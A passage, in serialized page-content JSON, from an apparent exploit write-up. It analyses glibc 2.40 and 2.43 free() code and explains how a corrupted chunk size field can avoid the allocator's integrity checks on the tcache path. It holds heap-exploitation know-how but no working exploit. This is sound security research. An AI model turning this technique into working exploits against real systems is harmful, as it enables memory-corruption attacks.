",{"type":23,"tag":94,"props":125634,"children":125636},{"className":125635},[],[125637],{"type":28,"value":125638},"0x0",{"type":28,"value":36799},{"type":23,"tag":94,"props":125641,"children":125643},{"className":125642},[],[125644],{"type":28,"value":123512},{"type":28,"value":125632},{"type":23,"tag":94,"props":125647,"children":125649},{"className":125648},[],[125650],{"type":28,"value":125651},"0x8",{"type":28,"value":125653},". As the name suggests, ",{"type":23,"tag":94,"props":125655,"children":125657},{"className":125656},[],[125658],{"type":28,"value":125630},{"type":28,"value":125660}," stores the size of the previous chunk and is only used when that chunk is free, while ",{"type":23,"tag":94,"props":125662,"children":125664},{"className":125663},[],[125665],{"type":28,"value":123512},{"type":28,"value":125667}," stores the size of the current chunk and three special bits of which ",{"type":23,"tag":94,"props":125669,"children":125671},{"className":125670},[],[125672],{"type":28,"value":125673},"PREV_INUSE",{"type":28,"value":557},{"type":23,"tag":94,"props":125676,"children":125678},{"className":125677},[],[125679],{"type":28,"value":125680},"IS_MMAPPED",{"type":28,"value":125682}," are relevant for this blog post. The actual chunk data begins at offset ",{"type":23,"tag":94,"props":125684,"children":125686},{"className":125685},[],[125687],{"type":28,"value":125688},"0x10",{"type":28,"value":282},{"type":23,"tag":24,"props":125691,"children":125692},{},[125693],{"type":28,"value":125694},"Freed chunks are organized into different bins depending on their size and state. For this writeup, the important one is the per-thread cache, or tcache. Tcache stores recently freed chunks in size-segregated singly linked lists and is generally the first place glibc looks when servicing small allocations.",{"type":23,"tag":36595,"props":125696,"children":125698},{"id":125697},"free-path",[125699],{"type":28,"value":125700},"free() path",{"type":23,"tag":24,"props":125702,"children":125703},{},[125704,125706,125712],{"type":28,"value":125705},"Let’s first look at the ",{"type":23,"tag":94,"props":125707,"children":125709},{"className":125708},[],[125710],{"type":28,"value":125711},"free()",{"type":28,"value":125713}," path in glibc 2.40:",{"type":23,"tag":304,"props":125715,"children":125717},{"code":125716,"language":308,"meta":7,"className":306,"style":7},"__libc_free (void *mem)\n{\n mstate ar_ptr;\n mchunkptr p;\n\n p = mem2chunk (mem);\n if (chunk_is_mmapped (p))\n {\n munmap_chunk (p);\n }\n else\n {\n MAYBE_INIT_TCACHE ();\n\n ar_ptr = arena_for_chunk (p);\n _int_free (ar_ptr, p, 0);\n }\n}\n",[125718],{"type":23,"tag":94,"props":125719,"children":125720},{"__ignoreMap":7},[125721,125749,125756,125764,125772,125779,125801,125822,125829,125842,125849,125857,125864,125877,125884,125905,125926,125933],{"type":23,"tag":314,"props":125722,"children":125723},{"class":316,"line":317},[125724,125729,125733,125737,125741,125745],{"type":23,"tag":314,"props":125725,"children":125726},{"style":332},[125727],{"type":28,"value":125728},"__libc_free",{"type":23,"tag":314,"props":125730,"children":125731},{"style":338},[125732],{"type":28,"value":2324},{"type":23,"tag":314,"props":125734,"children":125735},{"style":321},[125736],{"type":28,"value":50878},{"type":23,"tag":314,"props":125738,"children":125739},{"style":354},[125740],{"type":28,"value":357},{"type":23,"tag":314,"props":125742,"children":125743},{"style":360},[125744],{"type":28,"value":39912},{"type":23,"tag":314,"props":125746,"children":125747},{"style":338},[125748],{"type":28,"value":2414},{"type":23,"tag":314,"props":125750,"children":125751},{"class":316,"line":370},[125752],{"type":23,"tag":314,"props":125753,"children":125754},{"style":338},[125755],{"type":28,"value":10129},{"type":23,"tag":314,"props":125757,"children":125758},{"class":316,"line":380},[125759],{"type":23,"tag":314,"props":125760,"children":125761},{"style":338},[125762],{"type":28,"value":125763}," mstate ar_ptr;\n",{"type":23,"tag":314,"props":125765,"children":125766},{"class":316,"line":1091},[125767],{"type":23,"tag":314,"props":125768,"children":125769},{"style":338},[125770],{"type":28,"value":125771}," mchunkptr p;\n",{"type":23,"tag":314,"props":125773,"children":125774},{"class":316,"line":1141},[125775],{"type":23,"tag":314,"props":125776,"children":125777},{"emptyLinePlaceholder":18},[125778],{"type":28,"value":1088},{"type":23,"tag":314,"props":125780,"children":125781},{"class":316,"line":1173},[125782,125787,125791,125796],{"type":23,"tag":314,"props":125783,"children":125784},{"style":338},[125785],{"type":28,"value":125786}," p ",{"type":23,"tag":314,"props":125788,"children":125789},{"style":354},[125790],{"type":28,"value":1102},{"type":23,"tag":314,"props":125792,"children":125793},{"style":332},[125794],{"type":28,"value":125795}," mem2chunk",{"type":23,"tag":314,"props":125797,"children":125798},{"style":338},[125799],{"type":28,"value":125800}," (mem);\n",{"type":23,"tag":314,"props":125802,"children":125803},{"class":316,"line":1208},[125804,125808,125812,125817],{"type":23,"tag":314,"props":125805,"children":125806},{"style":2284},[125807],{"type":28,"value":30642},{"type":23,"tag":314,"props":125809,"children":125810},{"style":338},[125811],{"type":28,"value":2324},{"type":23,"tag":314,"props":125813,"children":125814},{"style":332},[125815],{"type":28,"value":125816},"chunk_is_mmapped",{"type":23,"tag":314,"props":125818,"children":125819},{"style":338},[125820],{"type":28,"value":125821}," (p))\n",{"type":23,"tag":314,"props":125823,"children":125824},{"class":316,"line":1216},[125825],{"type":23,"tag":314,"props":125826,"children":125827},{"style":338},[125828],{"type":28,"value":28435},{"type":23,"tag":314,"props":125830,"children":125831},{"class":316,"line":1301},[125832,125837],{"type":23,"tag":314,"props":125833,"children":125834},{"style":332},[125835],{"type":28,"value":125836}," munmap_chunk",{"type":23,"tag":314,"props":125838,"children":125839},{"style":338},[125840],{"type":28,"value":125841}," (p);\n",{"type":23,"tag":314,"props":125843,"children":125844},{"class":316,"line":1343},[125845],{"type":23,"tag":314,"props":125846,"children":125847},{"style":338},[125848],{"type":28,"value":2610},{"type":23,"tag":314,"props":125850,"children":125851},{"class":316,"line":1351},[125852],{"type":23,"tag":314,"props":125853,"children":125854},{"style":2284},[125855],{"type":28,"value":125856}," else\n",{"type":23,"tag":314,"props":125858,"children":125859},{"class":316,"line":1387},[125860],{"type":23,"tag":314,"props":125861,"children":125862},{"style":338},[125863],{"type":28,"value":28435},{"type":23,"tag":314,"props":125865,"children":125866},{"class":316,"line":1422},[125867,125872],{"type":23,"tag":314,"props":125868,"children":125869},{"style":332},[125870],{"type":28,"value":125871}," MAYBE_INIT_TCACHE",{"type":23,"tag":314,"props":125873,"children":125874},{"style":338},[125875],{"type":28,"value":125876}," ();\n",{"type":23,"tag":314,"props":125878,"children":125879},{"class":316,"line":1430},[125880],{"type":23,"tag":314,"props":125881,"children":125882},{"emptyLinePlaceholder":18},[125883],{"type":28,"value":1088},{"type":23,"tag":314,"props":125885,"children":125886},{"class":316,"line":1452},[125887,125892,125896,125901],{"type":23,"tag":314,"props":125888,"children":125889},{"style":338},[125890],{"type":28,"value":125891}," ar_ptr ",{"type":23,"tag":314,"props":125893,"children":125894},{"style":354},[125895],{"type":28,"value":1102},{"type":23,"tag":314,"props":125897,"children":125898},{"style":332},[125899],{"type":28,"value":125900}," arena_for_chunk",{"type":23,"tag":314,"props":125902,"children":125903},{"style":338},[125904],{"type":28,"value":125841},{"type":23,"tag":314,"props":125906,"children":125907},{"class":316,"line":1497},[125908,125913,125918,125922],{"type":23,"tag":314,"props":125909,"children":125910},{"style":332},[125911],{"type":28,"value":125912}," _int_free",{"type":23,"tag":314,"props":125914,"children":125915},{"style":338},[125916],{"type":28,"value":125917}," (ar_ptr, p, ",{"type":23,"tag":314,"props":125919,"children":125920},{"style":1054},[125921],{"type":28,"value":1600},{"type":23,"tag":314,"props":125923,"children":125924},{"style":338},[125925],{"type":28,"value":1025},{"type":23,"tag":314,"props":125927,"children":125928},{"class":316,"line":1539},[125929],{"type":23,"tag":314,"props":125930,"children":125931},{"style":338},[125932],{"type":28,"value":2610},{"type":23,"tag":314,"props":125934,"children":125935},{"class":316,"line":1548},[125936],{"type":23,"tag":314,"props":125937,"children":125938},{"style":338},[125939],{"type":28,"value":386},{"type":23,"tag":24,"props":125941,"children":125942},{},[125943,125945,125950,125952,125957,125959,125965,125967,125973,125975,125980,125982,125987,125989,125994,125996,126001],{"type":28,"value":125944},"We can see that if the ",{"type":23,"tag":94,"props":125946,"children":125948},{"className":125947},[],[125949],{"type":28,"value":125680},{"type":28,"value":125951}," bit is set in the corrupted ",{"type":23,"tag":94,"props":125953,"children":125955},{"className":125954},[],[125956],{"type":28,"value":123512},{"type":28,"value":125958}," field, glibc will call ",{"type":23,"tag":94,"props":125960,"children":125962},{"className":125961},[],[125963],{"type":28,"value":125964},"munmap_chunk",{"type":28,"value":125966},", which internally checks that ",{"type":23,"tag":94,"props":125968,"children":125970},{"className":125969},[],[125971],{"type":28,"value":125972},"prev_size + size",{"type":28,"value":125974}," is page-aligned. To reach the ",{"type":23,"tag":94,"props":125976,"children":125978},{"className":125977},[],[125979],{"type":28,"value":123512},{"type":28,"value":125981}," field, we first have to overwrite the entire 8-byte ",{"type":23,"tag":94,"props":125983,"children":125985},{"className":125984},[],[125986],{"type":28,"value":125630},{"type":28,"value":125988}," field with uncontrolled data. The chance that a corrupted ",{"type":23,"tag":94,"props":125990,"children":125992},{"className":125991},[],[125993],{"type":28,"value":125972},{"type":28,"value":125995}," value still ends up page-aligned is extremely small. In practice, if ",{"type":23,"tag":94,"props":125997,"children":125999},{"className":125998},[],[126000],{"type":28,"value":125680},{"type":28,"value":126002}," is set, the process will almost certainly abort before we can make use of the corruption.",{"type":23,"tag":24,"props":126004,"children":126005},{},[126006,126008,126013,126015,126021],{"type":28,"value":126007},"Assuming ",{"type":23,"tag":94,"props":126009,"children":126011},{"className":126010},[],[126012],{"type":28,"value":125680},{"type":28,"value":126014}," is not set, execution continues into ",{"type":23,"tag":94,"props":126016,"children":126018},{"className":126017},[],[126019],{"type":28,"value":126020},"_int_free",{"type":28,"value":3746},{"type":23,"tag":304,"props":126023,"children":126025},{"code":126024,"language":308,"meta":7,"className":306,"style":7},"static void\n_int_free (mstate av, mchunkptr p, int have_lock)\n{\n INTERNAL_SIZE_T size;\n\n size = chunksize (p);\n\n /* Little security check which won't hurt performance: the\n allocator never wraps around at the end of the address space.\n Therefore we can exclude some size values which might appear\n here by accident or by \"design\" from some intruder. */\n if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)\n || __builtin_expect (misaligned_chunk (p), 0))\n malloc_printerr (\"free(): invalid pointer\");\n /* We know that each chunk is at least MINSIZE bytes in size or a\n multiple of MALLOC_ALIGNMENT. */\n if (__glibc_unlikely (size \u003C MINSIZE || !aligned_OK (size)))\n malloc_printerr (\"free(): invalid size\");\n\n check_inuse_chunk(av, p);\n\n [...]\n",[126026],{"type":23,"tag":94,"props":126027,"children":126028},{"__ignoreMap":7},[126029,126041,126084,126091,126099,126106,126127,126134,126142,126150,126158,126166,126230,126265,126286,126294,126302,126350,126370,126377,126390,126397],{"type":23,"tag":314,"props":126030,"children":126031},{"class":316,"line":317},[126032,126036],{"type":23,"tag":314,"props":126033,"children":126034},{"style":321},[126035],{"type":28,"value":50295},{"type":23,"tag":314,"props":126037,"children":126038},{"style":321},[126039],{"type":28,"value":126040}," void\n",{"type":23,"tag":314,"props":126042,"children":126043},{"class":316,"line":370},[126044,126048,126053,126058,126063,126067,126071,126075,126080],{"type":23,"tag":314,"props":126045,"children":126046},{"style":332},[126047],{"type":28,"value":126020},{"type":23,"tag":314,"props":126049,"children":126050},{"style":338},[126051],{"type":28,"value":126052}," (mstate ",{"type":23,"tag":314,"props":126054,"children":126055},{"style":360},[126056],{"type":28,"value":126057},"av",{"type":23,"tag":314,"props":126059,"children":126060},{"style":338},[126061],{"type":28,"value":126062},", mchunkptr ",{"type":23,"tag":314,"props":126064,"children":126065},{"style":360},[126066],{"type":28,"value":24},{"type":23,"tag":314,"props":126068,"children":126069},{"style":338},[126070],{"type":28,"value":778},{"type":23,"tag":314,"props":126072,"children":126073},{"style":321},[126074],{"type":28,"value":18285},{"type":23,"tag":314,"props":126076,"children":126077},{"style":360},[126078],{"type":28,"value":126079}," have_lock",{"type":23,"tag":314,"props":126081,"children":126082},{"style":338},[126083],{"type":28,"value":2414},{"type":23,"tag":314,"props":126085,"children":126086},{"class":316,"line":380},[126087],{"type":23,"tag":314,"props":126088,"children":126089},{"style":338},[126090],{"type":28,"value":10129},{"type":23,"tag":314,"props":126092,"children":126093},{"class":316,"line":1091},[126094],{"type":23,"tag":314,"props":126095,"children":126096},{"style":338},[126097],{"type":28,"value":126098}," INTERNAL_SIZE_T size;\n",{"type":23,"tag":314,"props":126100,"children":126101},{"class":316,"line":1141},[126102],{"type":23,"tag":314,"props":126103,"children":126104},{"emptyLinePlaceholder":18},[126105],{"type":28,"value":1088},{"type":23,"tag":314,"props":126107,"children":126108},{"class":316,"line":1173},[126109,126114,126118,126123],{"type":23,"tag":314,"props":126110,"children":126111},{"style":338},[126112],{"type":28,"value":126113}," size ",{"type":23,"tag":314,"props":126115,"children":126116},{"style":354},[126117],{"type":28,"value":1102},{"type":23,"tag":314,"props":126119,"children":126120},{"style":332},[126121],{"type":28,"value":126122}," chunksize",{"type":23,"tag":314,"props":126124,"children":126125},{"style":338},[126126],{"type":28,"value":125841},{"type":23,"tag":314,"props":126128,"children":126129},{"class":316,"line":1208},[126130],{"type":23,"tag":314,"props":126131,"children":126132},{"emptyLinePlaceholder":18},[126133],{"type":28,"value":1088},{"type":23,"tag":314,"props":126135,"children":126136},{"class":316,"line":1216},[126137],{"type":23,"tag":314,"props":126138,"children":126139},{"style":374},[126140],{"type":28,"value":126141}," /* Little security check which won't hurt performance: the\n",{"type":23,"tag":314,"props":126143,"children":126144},{"class":316,"line":1301},[126145],{"type":23,"tag":314,"props":126146,"children":126147},{"style":374},[126148],{"type":28,"value":126149}," allocator never wraps around at the end of the address space.\n",{"type":23,"tag":314,"props":126151,"children":126152},{"class":316,"line":1343},[126153],{"type":23,"tag":314,"props":126154,"children":126155},{"style":374},[126156],{"type":28,"value":126157}," Therefore we can exclude some size values which might appear\n",{"type":23,"tag":314,"props":126159,"children":126160},{"class":316,"line":1351},[126161],{"type":23,"tag":314,"props":126162,"children":126163},{"style":374},[126164],{"type":28,"value":126165}," here by accident or by \"design\" from some intruder. */\n",{"type":23,"tag":314,"props":126167,"children":126168},{"class":316,"line":1387},[126169,126173,126177,126182,126187,126192,126197,126201,126205,126209,126213,126217,126222,126226],{"type":23,"tag":314,"props":126170,"children":126171},{"style":2284},[126172],{"type":28,"value":30642},{"type":23,"tag":314,"props":126174,"children":126175},{"style":338},[126176],{"type":28,"value":2324},{"type":23,"tag":314,"props":126178,"children":126179},{"style":332},[126180],{"type":28,"value":126181},"__builtin_expect",{"type":23,"tag":314,"props":126183,"children":126184},{"style":338},[126185],{"type":28,"value":126186}," ((",{"type":23,"tag":314,"props":126188,"children":126189},{"style":321},[126190],{"type":28,"value":126191},"uintptr_t",{"type":23,"tag":314,"props":126193,"children":126194},{"style":338},[126195],{"type":28,"value":126196},") p ",{"type":23,"tag":314,"props":126198,"children":126199},{"style":354},[126200],{"type":28,"value":9710},{"type":23,"tag":314,"props":126202,"children":126203},{"style":338},[126204],{"type":28,"value":2324},{"type":23,"tag":314,"props":126206,"children":126207},{"style":321},[126208],{"type":28,"value":126191},{"type":23,"tag":314,"props":126210,"children":126211},{"style":338},[126212],{"type":28,"value":2343},{"type":23,"tag":314,"props":126214,"children":126215},{"style":354},[126216],{"type":28,"value":1051},{"type":23,"tag":314,"props":126218,"children":126219},{"style":338},[126220],{"type":28,"value":126221},"size, ",{"type":23,"tag":314,"props":126223,"children":126224},{"style":1054},[126225],{"type":28,"value":1600},{"type":23,"tag":314,"props":126227,"children":126228},{"style":338},[126229],{"type":28,"value":2414},{"type":23,"tag":314,"props":126231,"children":126232},{"class":316,"line":1422},[126233,126238,126243,126247,126252,126257,126261],{"type":23,"tag":314,"props":126234,"children":126235},{"style":354},[126236],{"type":28,"value":126237}," ||",{"type":23,"tag":314,"props":126239,"children":126240},{"style":332},[126241],{"type":28,"value":126242}," __builtin_expect",{"type":23,"tag":314,"props":126244,"children":126245},{"style":338},[126246],{"type":28,"value":2324},{"type":23,"tag":314,"props":126248,"children":126249},{"style":332},[126250],{"type":28,"value":126251},"misaligned_chunk",{"type":23,"tag":314,"props":126253,"children":126254},{"style":338},[126255],{"type":28,"value":126256}," (p), ",{"type":23,"tag":314,"props":126258,"children":126259},{"style":1054},[126260],{"type":28,"value":1600},{"type":23,"tag":314,"props":126262,"children":126263},{"style":338},[126264],{"type":28,"value":18949},{"type":23,"tag":314,"props":126266,"children":126267},{"class":316,"line":1430},[126268,126273,126277,126282],{"type":23,"tag":314,"props":126269,"children":126270},{"style":332},[126271],{"type":28,"value":126272}," malloc_printerr",{"type":23,"tag":314,"props":126274,"children":126275},{"style":338},[126276],{"type":28,"value":2324},{"type":23,"tag":314,"props":126278,"children":126279},{"style":1245},[126280],{"type":28,"value":126281},"\"free(): invalid pointer\"",{"type":23,"tag":314,"props":126283,"children":126284},{"style":338},[126285],{"type":28,"value":1025},{"type":23,"tag":314,"props":126287,"children":126288},{"class":316,"line":1452},[126289],{"type":23,"tag":314,"props":126290,"children":126291},{"style":374},[126292],{"type":28,"value":126293}," /* We know that each chunk is at least MINSIZE bytes in size or a\n",{"type":23,"tag":314,"props":126295,"children":126296},{"class":316,"line":1497},[126297],{"type":23,"tag":314,"props":126298,"children":126299},{"style":374},[126300],{"type":28,"value":126301}," multiple of MALLOC_ALIGNMENT. */\n",{"type":23,"tag":314,"props":126303,"children":126304},{"class":316,"line":1539},[126305,126309,126313,126318,126323,126327,126332,126336,126340,126345],{"type":23,"tag":314,"props":126306,"children":126307},{"style":2284},[126308],{"type":28,"value":30642},{"type":23,"tag":314,"props":126310,"children":126311},{"style":338},[126312],{"type":28,"value":2324},{"type":23,"tag":314,"props":126314,"children":126315},{"style":332},[126316],{"type":28,"value":126317},"__glibc_unlikely",{"type":23,"tag":314,"props":126319,"children":126320},{"style":338},[126321],{"type":28,"value":126322}," (size ",{"type":23,"tag":314,"props":126324,"children":126325},{"style":354},[126326],{"type":28,"value":5060},{"type":23,"tag":314,"props":126328,"children":126329},{"style":338},[126330],{"type":28,"value":126331}," MINSIZE ",{"type":23,"tag":314,"props":126333,"children":126334},{"style":354},[126335],{"type":28,"value":21656},{"type":23,"tag":314,"props":126337,"children":126338},{"style":354},[126339],{"type":28,"value":12112},{"type":23,"tag":314,"props":126341,"children":126342},{"style":332},[126343],{"type":28,"value":126344},"aligned_OK",{"type":23,"tag":314,"props":126346,"children":126347},{"style":338},[126348],{"type":28,"value":126349}," (size)))\n",{"type":23,"tag":314,"props":126351,"children":126352},{"class":316,"line":1548},[126353,126357,126361,126366],{"type":23,"tag":314,"props":126354,"children":126355},{"style":332},[126356],{"type":28,"value":126272},{"type":23,"tag":314,"props":126358,"children":126359},{"style":338},[126360],{"type":28,"value":2324},{"type":23,"tag":314,"props":126362,"children":126363},{"style":1245},[126364],{"type":28,"value":126365},"\"free(): invalid size\"",{"type":23,"tag":314,"props":126367,"children":126368},{"style":338},[126369],{"type":28,"value":1025},{"type":23,"tag":314,"props":126371,"children":126372},{"class":316,"line":1584},[126373],{"type":23,"tag":314,"props":126374,"children":126375},{"emptyLinePlaceholder":18},[126376],{"type":28,"value":1088},{"type":23,"tag":314,"props":126378,"children":126379},{"class":316,"line":1617},[126380,126385],{"type":23,"tag":314,"props":126381,"children":126382},{"style":332},[126383],{"type":28,"value":126384}," check_inuse_chunk",{"type":23,"tag":314,"props":126386,"children":126387},{"style":338},[126388],{"type":28,"value":126389},"(av, p);\n",{"type":23,"tag":314,"props":126391,"children":126392},{"class":316,"line":1625},[126393],{"type":23,"tag":314,"props":126394,"children":126395},{"emptyLinePlaceholder":18},[126396],{"type":28,"value":1088},{"type":23,"tag":314,"props":126398,"children":126399},{"class":316,"line":1660},[126400],{"type":23,"tag":314,"props":126401,"children":126402},{"style":338},[126403],{"type":28,"value":126404}," [...]\n",{"type":23,"tag":24,"props":126406,"children":126407},{},[126408],{"type":28,"value":126409},"The first check verifies that the chunk pointer itself is not misaligned. Since we do not control the pointer, this is not particularly relevant here.",{"type":23,"tag":24,"props":126411,"children":126412},{},[126413,126415,126420,126422,126427,126429,126434,126436,126441],{"type":28,"value":126414},"The next check, however, ensures that the ",{"type":23,"tag":94,"props":126416,"children":126418},{"className":126417},[],[126419],{"type":28,"value":123512},{"type":28,"value":126421}," field is 16-byte aligned. This means that the low byte we overwrite in ",{"type":23,"tag":94,"props":126423,"children":126425},{"className":126424},[],[126426],{"type":28,"value":123512},{"type":28,"value":126428}," must preserve alignment while also avoiding the ",{"type":23,"tag":94,"props":126430,"children":126432},{"className":126431},[],[126433],{"type":28,"value":125680},{"type":28,"value":126435}," bit. Under those constraints, exploiting the bug through ",{"type":23,"tag":94,"props":126437,"children":126439},{"className":126438},[],[126440],{"type":28,"value":123512},{"type":28,"value":126442}," corruption looked very unreliable at first.",{"type":23,"tag":24,"props":126444,"children":126445},{},[126446],{"type":28,"value":126447},"Still, we wanted to check how this behaved in the latest glibc 2.43:",{"type":23,"tag":304,"props":126449,"children":126451},{"code":126450,"language":308,"meta":7,"className":306,"style":7},"void\n__libc_free (void *mem)\n{\n mchunkptr p;\n\n p = mem2chunk (mem);\n\n INTERNAL_SIZE_T size = chunksize (p);\n\n if (__glibc_unlikely (misaligned_chunk (p)))\n return malloc_printerr_tail (\"free(): invalid pointer\");\n\n#if USE_TCACHE\n if (__glibc_likely (size \u003C mp_.tcache_max_bytes))\n {\n [...]\n\n return tcache_put (p, tc_idx);\n }\n",[126452],{"type":23,"tag":94,"props":126453,"children":126454},{"__ignoreMap":7},[126455,126463,126490,126497,126504,126511,126530,126537,126557,126564,126592,126616,126623,126636,126678,126685,126693,126700,126717],{"type":23,"tag":314,"props":126456,"children":126457},{"class":316,"line":317},[126458],{"type":23,"tag":314,"props":126459,"children":126460},{"style":321},[126461],{"type":28,"value":126462},"void\n",{"type":23,"tag":314,"props":126464,"children":126465},{"class":316,"line":370},[126466,126470,126474,126478,126482,126486],{"type":23,"tag":314,"props":126467,"children":126468},{"style":332},[126469],{"type":28,"value":125728},{"type":23,"tag":314,"props":126471,"children":126472},{"style":338},[126473],{"type":28,"value":2324},{"type":23,"tag":314,"props":126475,"children":126476},{"style":321},[126477],{"type":28,"value":50878},{"type":23,"tag":314,"props":126479,"children":126480},{"style":354},[126481],{"type":28,"value":357},{"type":23,"tag":314,"props":126483,"children":126484},{"style":360},[126485],{"type":28,"value":39912},{"type":23,"tag":314,"props":126487,"children":126488},{"style":338},[126489],{"type":28,"value":2414},{"type":23,"tag":314,"props":126491,"children":126492},{"class":316,"line":380},[126493],{"type":23,"tag":314,"props":126494,"children":126495},{"style":338},[126496],{"type":28,"value":10129},{"type":23,"tag":314,"props":126498,"children":126499},{"class":316,"line":1091},[126500],{"type":23,"tag":314,"props":126501,"children":126502},{"style":338},[126503],{"type":28,"value":125771},{"type":23,"tag":314,"props":126505,"children":126506},{"class":316,"line":1141},[126507],{"type":23,"tag":314,"props":126508,"children":126509},{"emptyLinePlaceholder":18},[126510],{"type":28,"value":1088},{"type":23,"tag":314,"props":126512,"children":126513},{"class":316,"line":1173},[126514,126518,126522,126526],{"type":23,"tag":314,"props":126515,"children":126516},{"style":338},[126517],{"type":28,"value":125786},{"type":23,"tag":314,"props":126519,"children":126520},{"style":354},[126521],{"type":28,"value":1102},{"type":23,"tag":314,"props":126523,"children":126524},{"style":332},[126525],{"type":28,"value":125795},{"type":23,"tag":314,"props":126527,"children":126528},{"style":338},[126529],{"type":28,"value":125800},{"type":23,"tag":314,"props":126531,"children":126532},{"class":316,"line":1208},[126533],{"type":23,"tag":314,"props":126534,"children":126535},{"emptyLinePlaceholder":18},[126536],{"type":28,"value":1088},{"type":23,"tag":314,"props":126538,"children":126539},{"class":316,"line":1216},[126540,126545,126549,126553],{"type":23,"tag":314,"props":126541,"children":126542},{"style":338},[126543],{"type":28,"value":126544}," INTERNAL_SIZE_T size ",{"type":23,"tag":314,"props":126546,"children":126547},{"style":354},[126548],{"type":28,"value":1102},{"type":23,"tag":314,"props":126550,"children":126551},{"style":332},[126552],{"type":28,"value":126122},{"type":23,"tag":314,"props":126554,"children":126555},{"style":338},[126556],{"type":28,"value":125841},{"type":23,"tag":314,"props":126558,"children":126559},{"class":316,"line":1301},[126560],{"type":23,"tag":314,"props":126561,"children":126562},{"emptyLinePlaceholder":18},[126563],{"type":28,"value":1088},{"type":23,"tag":314,"props":126565,"children":126566},{"class":316,"line":1343},[126567,126571,126575,126579,126583,126587],{"type":23,"tag":314,"props":126568,"children":126569},{"style":2284},[126570],{"type":28,"value":30642},{"type":23,"tag":314,"props":126572,"children":126573},{"style":338},[126574],{"type":28,"value":2324},{"type":23,"tag":314,"props":126576,"children":126577},{"style":332},[126578],{"type":28,"value":126317},{"type":23,"tag":314,"props":126580,"children":126581},{"style":338},[126582],{"type":28,"value":2324},{"type":23,"tag":314,"props":126584,"children":126585},{"style":332},[126586],{"type":28,"value":126251},{"type":23,"tag":314,"props":126588,"children":126589},{"style":338},[126590],{"type":28,"value":126591}," (p)))\n",{"type":23,"tag":314,"props":126593,"children":126594},{"class":316,"line":1351},[126595,126599,126604,126608,126612],{"type":23,"tag":314,"props":126596,"children":126597},{"style":2284},[126598],{"type":28,"value":16228},{"type":23,"tag":314,"props":126600,"children":126601},{"style":332},[126602],{"type":28,"value":126603}," malloc_printerr_tail",{"type":23,"tag":314,"props":126605,"children":126606},{"style":338},[126607],{"type":28,"value":2324},{"type":23,"tag":314,"props":126609,"children":126610},{"style":1245},[126611],{"type":28,"value":126281},{"type":23,"tag":314,"props":126613,"children":126614},{"style":338},[126615],{"type":28,"value":1025},{"type":23,"tag":314,"props":126617,"children":126618},{"class":316,"line":1387},[126619],{"type":23,"tag":314,"props":126620,"children":126621},{"emptyLinePlaceholder":18},[126622],{"type":28,"value":1088},{"type":23,"tag":314,"props":126624,"children":126625},{"class":316,"line":1422},[126626,126631],{"type":23,"tag":314,"props":126627,"children":126628},{"style":2284},[126629],{"type":28,"value":126630},"#if",{"type":23,"tag":314,"props":126632,"children":126633},{"style":332},[126634],{"type":28,"value":126635}," USE_TCACHE\n",{"type":23,"tag":314,"props":126637,"children":126638},{"class":316,"line":1430},[126639,126643,126647,126652,126656,126660,126665,126669,126674],{"type":23,"tag":314,"props":126640,"children":126641},{"style":2284},[126642],{"type":28,"value":30642},{"type":23,"tag":314,"props":126644,"children":126645},{"style":338},[126646],{"type":28,"value":2324},{"type":23,"tag":314,"props":126648,"children":126649},{"style":332},[126650],{"type":28,"value":126651},"__glibc_likely",{"type":23,"tag":314,"props":126653,"children":126654},{"style":338},[126655],{"type":28,"value":126322},{"type":23,"tag":314,"props":126657,"children":126658},{"style":354},[126659],{"type":28,"value":5060},{"type":23,"tag":314,"props":126661,"children":126662},{"style":360},[126663],{"type":28,"value":126664}," mp_",{"type":23,"tag":314,"props":126666,"children":126667},{"style":338},[126668],{"type":28,"value":282},{"type":23,"tag":314,"props":126670,"children":126671},{"style":360},[126672],{"type":28,"value":126673},"tcache_max_bytes",{"type":23,"tag":314,"props":126675,"children":126676},{"style":338},[126677],{"type":28,"value":18949},{"type":23,"tag":314,"props":126679,"children":126680},{"class":316,"line":1452},[126681],{"type":23,"tag":314,"props":126682,"children":126683},{"style":338},[126684],{"type":28,"value":28435},{"type":23,"tag":314,"props":126686,"children":126687},{"class":316,"line":1497},[126688],{"type":23,"tag":314,"props":126689,"children":126690},{"style":338},[126691],{"type":28,"value":126692}," [...]\n",{"type":23,"tag":314,"props":126694,"children":126695},{"class":316,"line":1539},[126696],{"type":23,"tag":314,"props":126697,"children":126698},{"emptyLinePlaceholder":18},[126699],{"type":28,"value":1088},{"type":23,"tag":314,"props":126701,"children":126702},{"class":316,"line":1548},[126703,126707,126712],{"type":23,"tag":314,"props":126704,"children":126705},{"style":2284},[126706],{"type":28,"value":38604},{"type":23,"tag":314,"props":126708,"children":126709},{"style":332},[126710],{"type":28,"value":126711}," tcache_put",{"type":23,"tag":314,"props":126713,"children":126714},{"style":338},[126715],{"type":28,"value":126716}," (p, tc_idx);\n",{"type":23,"tag":314,"props":126718,"children":126719},{"class":316,"line":1584},[126720],{"type":23,"tag":314,"props":126721,"children":126722},{"style":338},[126723],{"type":28,"value":2610},{"type":23,"tag":24,"props":126725,"children":126726},{},[126727,126729,126734],{"type":28,"value":126728},"It is easy to notice that, when taking the tcache path, there are essentially no integrity checks on the ",{"type":23,"tag":94,"props":126730,"children":126732},{"className":126731},[],[126733],{"type":28,"value":123512},{"type":28,"value":126735}," field beyond the basic size-range decision needed to determine whether the chunk fits into tcache. The only explicit check here is that the pointer itself is aligned, which is not something we care about.",{"type":23,"tag":24,"props":126737,"children":126738},{},[126739,126741,126747,126748,126753],{"type":28,"value":126740},"In fact, even the version prior to 2.43 still performed more validation on the tcache path by calling ",{"type":23,"tag":94,"props":126742,"children":126744},{"className":126743},[],[126745],{"type":28,"value":126746},"check_inuse_chunk",{"type":28,"value":2324},{"type":23,"tag":94,"props":126749,"children":126751},{"className":126750},[],[126752],{"type":28,"value":123640},{"type":28,"value":23191},{"type":23,"tag":304,"props":126755,"children":126757},{"code":126756,"language":308,"meta":7,"className":306,"style":7},"void\n__libc_free (void *mem)\n{\n mchunkptr p;\n\n p = mem2chunk (mem);\n\n INTERNAL_SIZE_T size = chunksize (p);\n\n if (__glibc_unlikely (misaligned_chunk (p)))\n return malloc_printerr_tail (\"free(): invalid pointer\");\n\n check_inuse_chunk (arena_for_chunk (p), p); // [1]\n\n#if USE_TCACHE\n if (__glibc_likely (size \u003C mp_.tcache_max_bytes && tcache != NULL))\n 